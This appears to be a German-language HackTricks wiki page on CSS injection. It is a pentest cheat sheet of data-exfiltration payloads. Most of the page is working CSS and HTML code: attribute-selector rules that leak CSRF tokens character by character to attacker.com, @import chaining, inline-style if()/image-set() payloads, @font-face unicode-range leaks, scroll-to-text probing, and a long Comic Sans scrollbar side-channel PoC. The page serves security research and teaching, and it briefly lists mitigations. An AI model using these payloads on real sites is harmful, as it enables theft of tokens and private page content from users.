CSS Injection

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

CSS Injection

LESS Code Injection

LESS ist ein populärer CSS-Präprozessor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten (“inline”), wenn die (inline)-Option verwendet wird.

{{#ref}} less-code-injection.md {{/ref}}

Attributselektor

CSS-Selektoren werden so gestaltet, dass sie die Werte der name- und value-Attribute eines input-Elements abgleichen. Wenn das value-Attribut des input-Elements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Diese Methode stößt jedoch auf eine Einschränkung bei versteckten input-Elementen (type=“hidden”), da versteckte Elemente keine Hintergründe laden.

Bypass für versteckte Elemente

Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwister-Element mithilfe des ~ general sibling combinator anvisieren. Die CSS-Regel wird dann auf alle Geschwister angewendet, die dem versteckten input-Element folgen, wodurch das Hintergrundbild geladen wird:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet beschrieben. Sie können es hier ansehen.

Voraussetzungen für CSS Injection

Damit die CSS Injection-Technik effektiv ist, müssen bestimmte Bedingungen erfüllt sein:

  1. Payload Length: Der CSS Injection-Vektor muss ausreichend lange payloads unterstützen, um die konzipierten selectors unterzubringen.
  2. CSS Re-evaluation: Sie müssen die Möglichkeit haben, die Seite in einen Frame einzubetten, was nötig ist, um die erneute Auswertung von CSS mit neu generierten payloads auszulösen.
  3. External Resources: Die Technik setzt voraus, extern gehostete images verwenden zu können. Dies kann durch die Content Security Policy (CSP) der Seite eingeschränkt sein.

Blind Attribute Selector

Wie in diesem Beitrag erklärt, ist es möglich, die selectors :has und :not zu kombinieren, um Inhalte sogar aus blinden Elementen zu identifizieren. Das ist sehr nützlich, wenn Sie keine Ahnung haben, was sich auf der Webseite befindet, die die CSS Injection lädt.
Es ist auch möglich, diese selectors zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Kombiniert man dies mit der folgenden @import-Technik, ist es möglich, viele Informationen mittels CSS injection von Blind-Seiten mit blind-css-exfiltration.

@import

Die vorherige Technik hat einige Nachteile, prüfe die Voraussetzungen. Du musst entweder in der Lage sein, mehrere Links an das Opfer zu senden, oder du musst in der Lage sein, die CSS injection verwundbare Seite in einem iframe einzubetten.

Es gibt jedoch eine andere clevere Technik, die CSS @import verwendet, um die Qualität der Methode zu verbessern.

Dies wurde zuerst von Pepe Vila gezeigt und funktioniert so:

Anstatt die gleiche Seite immer wieder mit dutzenden verschiedenen Payloads neu zu laden (wie zuvor), werden wir die Seite nur einmal laden und sie lediglich mit einem Import auf den Server des Angreifers versehen (dies ist der payload, der an das Opfer gesendet wird):

@import url("//attacker.com:5001/start?");
  1. The import wird etwas CSS script von den attackers empfangen und der Browser wird es laden.
  2. Der erste Teil des CSS script, den der attacker senden wird, ist ein weiteres @import zum attackers server.
  3. Der attackers server wird diese Anfrage noch nicht beantworten, da wir einige chars leak-en wollen und dann dieses import mit dem payload beantworten, um die nächsten zu leak-en.
  4. Der zweite und größere Teil des payloads wird ein attribute selector leakage payload sein.
  5. Das sendet an den attackers server das erste char des secret und das letzte.
  6. Sobald der attackers server das erste und letzte char des secret empfangen hat, wird er das in Schritt 2 angeforderte import beantworten.
  7. Die Antwort wird genau gleich sein wie Schritte 2, 3 und 4, aber dieses Mal wird versucht, das zweite char des secret und dann das vorletzte zu finden.

Der attacker wird dieser Schleife folgen, bis es ihm gelingt, das secret vollständig zu leak-en.

Du findest den originalen Pepe Vila’s code to exploit this here oder fast denselben Code aber kommentiert hier.

Tip

Das script versucht jedes Mal 2 chars zu entdecken (vom Anfang und vom Ende), weil der attribute selector Dinge wie erlaubt:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

Das ermöglicht dem script, das secret schneller zu leak-en.

Warning

Manchmal erkennt das script nicht korrekt, dass das gefundene prefix + suffix bereits die komplette flag ist und es fährt im Vorwärts‑(Prefix) und Rückwärts‑(Suffix) Modus fort und hängt sich irgendwann auf.
Kein Problem — überprüfe einfach die output, weil du die flag dort sehen kannst.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Diese Primitive ermöglicht Exfiltration nur über das inline style-Attribut eines Elements, ohne Selektoren oder externe Stylesheets. Es basiert auf CSS custom properties, der attr()-Funktion zum Lesen von Attributen desselben Elements, den neuen CSS if()-Bedingungen für Verzweigungen und image-set(), um eine Netzwerk-Anfrage auszulösen, die den gematchten Wert kodiert.

Warning

Gleichheitsvergleiche in if() erfordern doppelte Anführungszeichen für String-Literale. Einzelne Anführungszeichen matchen nicht.

  • Sink: kontrolliere das style-Attribut eines Elements und versichere dich, dass das Zielattribut am selben Element ist (attr() liest nur Attribute desselben Elements).
  • Read: kopiere das Attribut in eine CSS-Variable: –val: attr(title).
  • Decide: wähle eine URL mittels verschachtelter conditionals, die die Variable mit String-Kandidaten vergleichen: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: setze background: image-set(var(–steal)) (oder eine andere fetchende Eigenschaft), um eine Anfrage an den gewählten Endpoint zu erzwingen.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Funktionierender payload (doppelte Anführungszeichen für den Vergleich erforderlich):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerieren von Attributwerten mit verschachtelten Bedingungen:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Realistische Demo (Benutzernamen abfragen):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Hinweise und Einschränkungen:

  • Funktioniert zum Zeitpunkt der Recherche in Chromium-basierten Browsern; das Verhalten kann in anderen Engines abweichen.
  • Am besten geeignet für endliche/aufzählbare Wertebereiche (IDs, flags, kurze Benutzernamen). Das Abgreifen beliebig langer Strings ohne externe Stylesheets bleibt schwierig.
  • Jede CSS-Eigenschaft, die eine URL lädt, kann verwendet werden, um die Anfrage auszulösen (z. B. background/image-set, border-image, list-style, cursor, content).

Automatisierung: Eine Burp Custom Action kann verschachtelte Inline-Style-Payloads erzeugen, um Attributwerte per brute-force zu ermitteln: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

Other ways to access DOM parts with CSS selectors:

  • .class-to-search:nth-child(2): Dies sucht das zweite Element mit der Klasse “class-to-search” im DOM.
  • :empty selector: Wird zum Beispiel in this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

Referenz: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Die grundlegende Absicht ist, eine benutzerdefinierte Schriftart von einem kontrollierten Endpoint zu verwenden und sicherzustellen, dass Text (in diesem Fall ‘A’) nur dann mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (favicon.ico) nicht geladen werden kann.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Verwendung einer benutzerdefinierten Schriftart:
  • Eine benutzerdefinierte Schriftart wird mithilfe der @font-face rule innerhalb eines
  • Die Schriftart heißt poc und wird von einem externen Endpunkt (http://attacker.com/?leak) geladen.
  • Die unicode-range property ist auf U+0041 gesetzt und zielt auf das spezifische Unicode-Zeichen ‘A’.
  1. Object-Element mit Fallback-Text:
  • Ein -Element mit id=“poc0” wird im -Abschnitt erstellt. Dieses Element versucht, eine Ressource von http://192.168.0.1/favicon.ico zu laden.
  • Die font-family für dieses Element ist auf ‘poc’ gesetzt, wie im
  • Wenn die Ressource (favicon.ico) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe ‘A’) innerhalb des -Tags angezeigt.
  • Der Fallback-Inhalt (‘A’) wird mit der benutzerdefinierten Schriftart poc gerendert, wenn die externe Ressource nicht geladen werden kann.

Styling des Scroll-to-Text Fragment

Die :target Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das durch ein URL-Fragment angesprochen wird, wie in der CSS Selectors Level 4 specification angegeben. Wichtig ist, dass ::target-text keine Elemente erfasst, es sei denn, der Text wird explizit durch das Fragment adressiert.

Ein Sicherheitsproblem entsteht, wenn Angreifer die Scroll-to-text fragment-Funktion ausnutzen, wodurch sie das Vorhandensein bestimmter Texte auf einer Webseite bestätigen können, indem sie über HTML injection eine Ressource von ihrem Server laden. Die Methode beinhaltet das Injizieren einer CSS-Regel wie folgt:

:target::before {
content: url(target.png);
}

In solchen Szenarien wird, wenn der Text “Administrator” auf der Seite vorhanden ist, die Ressource target.png vom Server angefragt, was auf die Anwesenheit des Textes hinweist. Eine Instanz dieses Angriffs kann über eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text fragment einbettet:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hier manipuliert der Angriff HTML injection, um den CSS-Code zu übertragen, und zielt dabei auf den spezifischen Text “Administrator” mithilfe des Scroll-to-text fragment (#:~:text=Administrator). Wird der Text gefunden, wird die angegebene Ressource geladen und signalisiert somit unbeabsichtigt dem Angreifer deren Vorhandensein.

Zur Minderung sollten folgende Punkte beachtet werden:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze abgleicht, wodurch seine Fähigkeit, beliebige Geheimnisse oder Tokens zu leak(en), eingeschränkt wird.
  2. Restriction to Top-level Browsing Contexts: STTF funktioniert ausschließlich in top-level browsing contexts und nicht innerhalb von iframes, wodurch jeder Exploit-Versuch für den Benutzer auffälliger wird.
  3. Necessity of User Activation: STTF erfordert eine user-activation-Geste, um zu funktionieren; das heißt, Exploit-Versuche sind nur über benutzerinitiierte Navigationen möglich. Diese Voraussetzung verringert erheblich das Risiko, dass Angriffe ohne Benutzerinteraktion automatisiert werden. Dennoch weist der Autor des Blogposts auf spezifische Bedingungen und Bypässe hin (z. B. Social Engineering, Interaktion mit weit verbreiteten Browser-Extensions), die die Automatisierung des Angriffs erleichtern könnten.

Das Bewusstsein für diese Mechanismen und potenzielle Schwachstellen ist entscheidend, um Web-Sicherheit zu erhalten und sich gegen solche ausnutzenden Taktiken zu schützen.

Für weitere Informationen siehe den Originalbericht: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Sie können einen exploit using this technique for a CTF here einsehen.

@font-face / unicode-range

Sie können externe Fonts für bestimmte Unicode-Werte angeben, die nur dann geladen werden, wenn diese Unicode-Werte auf der Seite vorhanden sind. Zum Beispiel:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.

Text node exfiltration (I): ligatures

Referenz: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Node, indem font ligatures ausgenutzt und Breitenänderungen überwacht werden. Der Prozess umfasst mehrere Schritte:

  1. Erstellung von benutzerdefinierten Fonts:
  • SVG fonts werden mit glyphs erstellt, die ein horiz-adv-x-Attribut besitzen, das eine große Breite für ein glyph festlegt, das eine zwei-Zeichen-Sequenz repräsentiert.
  • Example SVG glyph: , where “XY” denotes a two-character sequence.
  • Diese Fonts werden dann mit fontforge in das woff-Format konvertiert.
  1. Erkennung von Breitenänderungen:
  • CSS wird verwendet, um sicherzustellen, dass sich der Text nicht umbricht (white-space: nowrap) und um das Erscheinungsbild der Scrollbar anzupassen.
  • Das Erscheinen einer horizontalen Scrollbar, die optisch anders gestaltet ist, fungiert als Indikator (oracle), dass eine bestimmte ligature und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
  • The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit-Prozess:
  • Schritt 1: Für Zeichenpaare mit großer Breite werden Fonts erstellt.
  • Schritt 2: Ein Scrollbar-basiertes Trick wird eingesetzt, um zu erkennen, wann das große Breiten-Glyph (ligature für ein Zeichenpaar) gerendert wird — was auf das Vorhandensein der Zeichenfolge hinweist.
  • Schritt 3: Nach der Erkennung einer ligature werden neue glyphs erzeugt, die dreizeichige Sequenzen darstellen und das erkannte Paar mit einem vorangestellten oder nachgestellten Zeichen kombinieren.
  • Schritt 4: Die Erkennung der dreizeichigen ligature wird durchgeführt.
  • Schritt 5: Der Prozess wiederholt sich und deckt schrittweise den gesamten Text auf.
  1. Optimierung:
  • Die aktuelle Initialisierungsmethode mit <meta refresh=… ist nicht optimal.
  • Ein effizienterer Ansatz könnte den CSS @import-Trick verwenden und die Performance des Exploits verbessern.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Referenz: PoC using Comic Sans by @Cgvwzq & @Terjanq

Dieser Trick wurde in diesem Slackers thread veröffentlicht. Das im text node verwendete charset kann mit den im Browser installierten default fonts leaked werden: keine externen oder benutzerdefinierten Fonts sind nötig.

Das Konzept beruht darauf, eine Animation zu verwenden, die die Breite eines div schrittweise vergrößert, sodass jeweils ein Zeichen vom ‘suffix’-Teil des Textes in den ‘prefix’-Teil übergeht. Dadurch wird der Text effektiv in zwei Abschnitte aufgeteilt:

  1. Prefix: Die erste Zeile.
  2. Suffix: Die nachfolgenden Zeile(n).

Die Übergangsphasen der Zeichen würden wie folgt aussehen:

C
ADB

CA
DB

CAD
B

CADB

Während dieser Transition wird der unicode-range trick eingesetzt, um jedes neue Zeichen zu identifizieren, sobald es dem prefix beitritt. Dies geschieht, indem die Schrift auf Comic Sans umgestellt wird, die deutlich größer ist als die default font, wodurch eine vertikale Scrollbar ausgelöst wird. Das Erscheinen dieser Scrollbar offenbart indirekt das Vorhandensein eines neuen Zeichens im prefix.

Obwohl diese Methode das Erkennen eindeutiger Zeichen bei ihrem Erscheinen erlaubt, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.

Tip

Im Grunde wird die unicode-range benutzt, um ein char zu erkennen, aber da wir keinen externen Font laden wollen, müssen wir einen anderen Weg finden.
Wenn das char gefunden wird, wird es der vorinstallierten Comic Sans font zugewiesen, die das char größer macht und eine Scrollbar auslöst, die das gefundene char leak.

Siehe den aus dem PoC extrahierten Code:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking das charset mit einer Standard-Schriftart durch Verstecken von Elementen (erfordert keine externen Assets)

Reference: Dies wird als eine nicht erfolgreiche Lösung in diesem Writeup erwähnt

Dieser Fall ist dem vorherigen sehr ähnlich, jedoch besteht hier das Ziel, bestimmte chars größer als andere zu machen, um etwas zu verbergen, wie einen Button, damit er vom Bot nicht gedrückt wird, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Ausbleiben der Aktion) messen und feststellen, ob ein bestimmter char im Text vorhanden ist.

Text node exfiltration (III): leaking das charset durch Cache-Timing (erfordert keine externen Assets)

Reference: Dies wird als eine nicht erfolgreiche Lösung in diesem Writeup erwähnt

In diesem Fall könnten wir versuchen zu leaken, ob ein char im Text enthalten ist, indem wir eine fake font aus derselben Origin laden:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Wenn es einen Treffer gibt, wird die font will be loaded from /static/bootstrap.min.css?q=1. Obwohl es nicht erfolgreich geladen wird, sollte der browser should cache it, und selbst wenn kein Cache vorhanden ist, gibt es einen 304 not modified-Mechanismus, sodass die response should be faster als andere Dinge.

Wenn der Zeitunterschied zwischen der gecachten und der nicht-gecachten Antwort jedoch nicht groß genug ist, ist das nicht nützlich. Zum Beispiel erwähnt der Autor: “After testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.”

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Referenz: Dies wird als an unsuccessful solution in this writeup

In diesem Fall kannst du CSS to load hundreds of fake fonts vom selben Origin angeben, wenn ein Treffer auftritt. Auf diese Weise kannst du measure the time, wie lange es dauert, und herausfinden, ob ein char erscheint oder nicht, mit etwas wie:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Und der Code des Bots sieht so aus:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Also, wenn die Schriftart nicht übereinstimmt, beträgt die Antwortzeit beim Aufrufen des Bots voraussichtlich etwa 30 Sekunden. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, wodurch das Netzwerk kontinuierlich aktiv bleibt. Infolgedessen dauert es länger, die Abbruchbedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks